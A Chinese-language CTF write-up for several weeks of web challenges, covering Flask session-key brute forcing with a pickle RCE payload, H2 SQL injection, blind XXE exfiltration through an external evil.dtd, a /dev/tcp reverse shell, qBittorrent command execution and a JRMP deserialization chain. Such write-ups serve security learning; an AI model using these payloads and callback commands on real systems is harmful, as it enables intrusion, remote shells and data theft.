WEEK 1
ezHTTP
Bypass it
其实可以注册,然后登录就有flag
Select Courses
随机有人退课,写脚本一直发起请求,抢别人退掉的
import time
import requests
targets = list(range(1, 6))
while(targets):
for target in targets:
result = requests.post('http://47.100.245.185:30684/api/courses',json={'id':target})
print(result.text)
time.sleep(0.1)
if('"full":0' in result.text):
targets.remove(target)
jhat
题目三个hint给的很明显了
直接运行代码就可以了,不过要把类的路径写全。直接写Runtime.getRuntime().exec("cat /flag")会显示没有Runtime,然后就是把命令执行的结果返回,直接问chatgpt。这里就只读一行,懒的试while循环了。new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /flag").getInputStream(), "UTF-8")).readLine();
WEEK 2
What the cow say?
cowsay是Linux的一种命令,就是命令的拼接,但是很多都被过滤了,但是可以用反引号执行命令,用*绕过flag的过滤,用nl绕过cat的过滤
`nl /f*/f*`
cowsay有点像ls,输入/*就可以看到根目录下的文件
Select More Courses
又是爆破,先爆出密码:qwert123,再对着扩学分的界面一直爆,直接扩到最高2601,选课就可以了。
myflask
先爆破key,然后进行pickle的反序列化
import os, zlib
from itsdangerous import base64_decode
from flask.sessions import SecureCookieSessionInterface
import requests
import pickle
import base64
from datetime import datetime, timedelta
from pytz import timezone
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM:
def encode(secret_key, session_cookie_structure):
try:
app = MockApp(secret_key)
# session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
def decode(session_cookie_value, secret_key=None):
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
def get_admin_auth(key):
val = {
"username": "admin"
}
admin_cookie = FSCM.encode(key, val)
return admin_cookie
class genpoc(object):
def __reduce__(self):
cmd = 'cat /flag' # 要执行的命令
s = "__import__('os').popen('{}').read()".format(cmd)
return (eval, (s,)) # reduce函数必须返回元组或字符串
if __name__ == "__main__":
url = 'http://106.14.57.14:32502'
value = requests.get(url).cookies['session']
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
# 初始化时间为 00:00:00
time = datetime(currentDateAndTime.year, currentDateAndTime.month, currentDateAndTime.day, 0, 0, 0)
key = time.strftime("%H%M%S")
while res := FSCM.decode(value, key):
if '[Decoding error]' not in res:
print(res, key)
cookie = get_admin_auth(key)
break
time += timedelta(seconds=1)
key = time.strftime("%H%M%S")
print(key)
poc = pickle.dumps(genpoc())
payload = base64.b64encode(poc)
print(requests.post(url+'/flag',cookies={"session":cookie},data={"pickle_data":payload}).text)
search4member
源码如下:
就是一个h2数据库的查询
可以直接拼接sql语句进行sql注入
然后我们就需要sql注入来读取文件,load_file没有用,要用CSVREAD123456%';CREATE TABLE TEST AS SELECT * FROM CSVREAD('/flag');--+
123456%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='TEST'--+
这里因为我创建TEST表的时候没有指定列名,所以文件的第一行内容就是列名,要读多行就用select指定列名就好了
h2数据库的具体用法
WEEK 3
WebVPN
虽然简单但感觉还挺有意思的
先看源码,要访问内网才能得到flag
但是题目只提供了百度和谷歌的proxy
很明显原型链污染,直接污染一个127.0.0.1:true的属性最开始本来想污染一个admin新用户,结果看到proxy增加了一个admin发现没必要
Zero Link
先获取Admin密码
将上面的代码扔给chatgpt
而第一个记录就是Admin的数据
根据源码可知,访问/api/secret可以得到secret里的内容对应的文件,但是secret里的是/fake_flag,所以我们就要让secret里是/flag
同时/api/upload还有上传zip文件的功能
/api/unzip会进行zip文件解压到/tmp
所以我们就要通过zip文件的解压来覆盖/app/secret,这里参考国赛unzip的解法,其实就是通过软链接进行覆盖
上传zip文件,然后访问/api/unzip解压这里有个坑点就是我上传文件的时候是Content-Type: application/x-zip-compressed,结果被前端拦截了,后面本地去掉判断的js代码再改数据包给靶机
成功覆盖做完发现题目名Zero Link就是hint,Zero就是传空获取密码,Link就是软链接覆盖
VidarBox
源码
很明显是xxe,但是file协议从本地读取xml文件,还有检测
我们先来看检测,编码绕过即可
但是要记得加上<?xml version="1.0" encoding="UTF-16BE"?>
,因为是UTF-16BE编码
<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "http://124.221.19.214:3232/evil.dtd">
%dtd;
%send;
]>
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
evil.dtd
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://124.221.19.214:2333/?data=%file;'>"
>
%payload;
%
是%的html编码,这很重要,直接用%会报错
我们先把payload.xml放在容器里,evil.dtd放在我们的vps上
?fname=../test/payload
成功读到flag
接下来就是把我们的payload.xml放到vps,然后要让靶机去读
通过源码可以知道,这里是file协议,不是http协议,我WEEK3的时候想了好久也尝试了,以为file协议是无法出网访问文件的
后来看官方wp知道可以起个ftp服务器让靶机能够请求到我们vps上的文件
我们可以先用dnslog来试试
有反应,说明是file协议是出网的
直接用官方wp的代码起个ftp服务器
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("/var/www/html", perm="r")
handler = FTPHandler
handler.authorizer = authorizer
server = FTPServer(("0.0.0.0", 21), handler)
server.serve_forever()
尽量把端口都打开,只开21端口能够接受到请求,但是好像响应请求要从请求的端口走,说起来jndi也是这样
ftp服务器有响应了
再次成功读到
一定要?fname=../../vps/payload,少了../就访问不到可能一个../是跳到根目录,再往上跳就是公网,为什么file协议可以这样也还是不懂,我用curl试了一下也无法读到vps上的payload.xml
WEEK 4
Reverse and Escalation.
打开是ActiveMQ
搜索得到CVE-2023-46604,工具下载
直接就可以弹shell
然后是find提权
Reverse and Escalation.II
前面的都一样,就是find加了个计算判断,参考第六届浙江省赛尝试了好久,一直弄不出来,算了。
Whose Home?
给了三个hint
首先要账号密码登录,根据搜索得到默认是admin/adminadmin
成功登录发现是qBittorrentv4.5.5
这里上网找了个v4.5.5的compose.yml,可以先本地打打
version: "2.1"
services:
qbittorrent:
image: lscr.io/linuxserver/qbittorrent:4.5.5
container_name: qbittorrent
environment:
- PUID=1000
- PGID=1000
- TZ=Etc/UTC
- WEBUI_PORT=8080
volumes:
- ./path/to/appdata/config:/config
- ./path/to/downloads:/downloads
ports:
- 8080:8080
- 6881:6881
- 6881:6881/udp
restart: unless-stopped
hint2说qb本身提供了rce的功能,经过搜索知道是可以运行外部程序,可以设置新增下载和下载完成时执行脚本
这里本来是下到/downloads目录,因为担心执行权限的问题所以改到/tmp
payload.sh直接写我们的命令就可以了bash -c 'bash -i >& /dev/tcp/124.221.19.214/2333 0>&1'
,接下来就是要把payload.sh上传到靶机,这里要自己做torrent种子让它下载。
我这里用比特彗星制作,具体制作自己去查,主要是这里可以用Web种子做,把payload.sh放到vps上,保证自己访问http://vps/payload.sh可以下载,然后靶机下载的时候就会从http://vps/payload.sh进行下载
然后添加我们做好的torrent种子进行下载就可以反弹了
第一个flag没有权限读,suid提权,找到iconv命令
成功读取第一个flag
上传fscan扫描发现100.64.43.4开启了22端口,猜测要用frp进行穿通
这里有一个奇怪的hgame/Sh3hoVRqMQJAw9D,猜测是ssh的密码
但是密码错误,没思路了。
看了wp说还有6800端口,但是我没扫出来,估计是我的命令不对
i-short-you-1
不是很懂,说是jrmp,就是rmi进行通信的一种协议,ysoserial里也有利用链
这里直接用官方的wp,自己调试看一下链子好了
public static void main(String[] args) throws Exception{
ObjID id = new ObjID(); // RMI registry
TCPEndpoint te = new TCPEndpoint("2887476089", 1099);
LiveRef liveRef = new LiveRef(id, te, false);
UnicastRef ref = new UnicastRef(liveRef);
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
byte[] byteArray = barr.toByteArray();
String res = Base64.getEncoder().encodeToString(byteArray);
System.out.println(res);
System.out.println("length: " + res.length());
new ObjectInputStream(new ByteArrayInputStream(byteArray)).readObject();
}
UnicastRef#newCall,就是这里发起了请求
发起newCall后对Listener返回的数据进行了readObject,所以弹计算器了。DGCClient#registerRefs,可以看到这里用了lookup,ep里的host和port都是我们传进去的,我本来以为在这里会发起连接,但不是,是后面的epEntry.registerRefs(refs)这句。